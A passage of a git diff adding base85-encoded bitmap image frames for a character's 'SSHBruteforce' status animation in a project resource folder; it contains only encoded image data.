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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 zcmd^`cU)9Sw)mO1`*vq%XWq={IHMzq3P{dK?54>ybdx0KC>hBanoiJU$)MycIZ0N@ zDk@0MNfadqku3D9?sjX-KYWP5L?BSeFNY8W@*DYBB0~NI6=DA(zg+#B3&Gcq z*MKJea5rI8RK)*pjz5KUf1kL&N8I1p-&xz+nE$XgwYxmBv)H#i-@P^4u`~N@d!}vc zZQJIX$6Ie60oi=>Xk+@(=JcbDH;*^pJlT9pD&3xWwl(`=YrcDDv43Y}ba(C5-sZyo z?t7q?NYcOm$4&CNtowUAyPHc}%VV2w+SVp(*M^JM`m^8lrmc1-u5`t(bjAT$ei66a z5x?3QztVM^B%OCY%8NTIzmjEAe*6lk+#U}u0SS_TobII6p7hoJoYmoywTb&1Z=Y?h zOzv*3?C*d0Jnqk8-FY|texiD{KV!K&VHH4h-&yTSTqSia`4>r9=}vyvm$osOvDTly z(w*|IH+2`gWtn_ESpM0>h zKKB{8CuiN?+g=?iSa}h(3P5{P-huA-rjgDhNjZ?6(X55%cLpj$rdndQ#OL?oI(k8$+2B^-%*=q05~q+rwF)h*aUDkOu}RCk+okzq8U2u{vJ! z89se-Rw9U?cQ4n*D^~k5S9-wEC%o%Pd&5_LYev+lv2T3LbveuurHIms^6=nq&6*|u#e3@1LDtk?=`{qz4Y4Awn0pJo> zUL;WLy401l(wDV1S+lb~`ya6@rIG#pz1@wu?WN(3w{7c_b?-+?-VJ1v4BVZxJDQ#w zc$1HYDLOH$y0bqizfSU+x~>p(`ceE+XVOet{Oi`Z>DIWnZMT7$2dctk7-MXf-NmQ7OT9ZQV>_FRpJ7o-pFhX0za3J5y|=Tz zx3vO>dwXSUY2v90pOBkNQt87z0=~=Lwn|eHOaIpk2qsQNwrlXKoYM5{K;Tz7lsWh$ zE;BRyo!(F(!riVWIH<3pdB;%8!%A6xbG~J3o4vA!AV<;U|AmlT6O?201nGEZee$#0rF z{?|W`m9heMwzaE?$O(K$kGRaO#s<~mlGNl9S7#Tw&Mc_F$S2RhD@VsAOUofk$AO^d zl4syiWad+55maRpQDYZXXA`~7BqVm0h2<-1b0xjpge*%{1Ny(6SK>#Rs8kp#+EB2E5X0tiX7@00=?H3E<>t 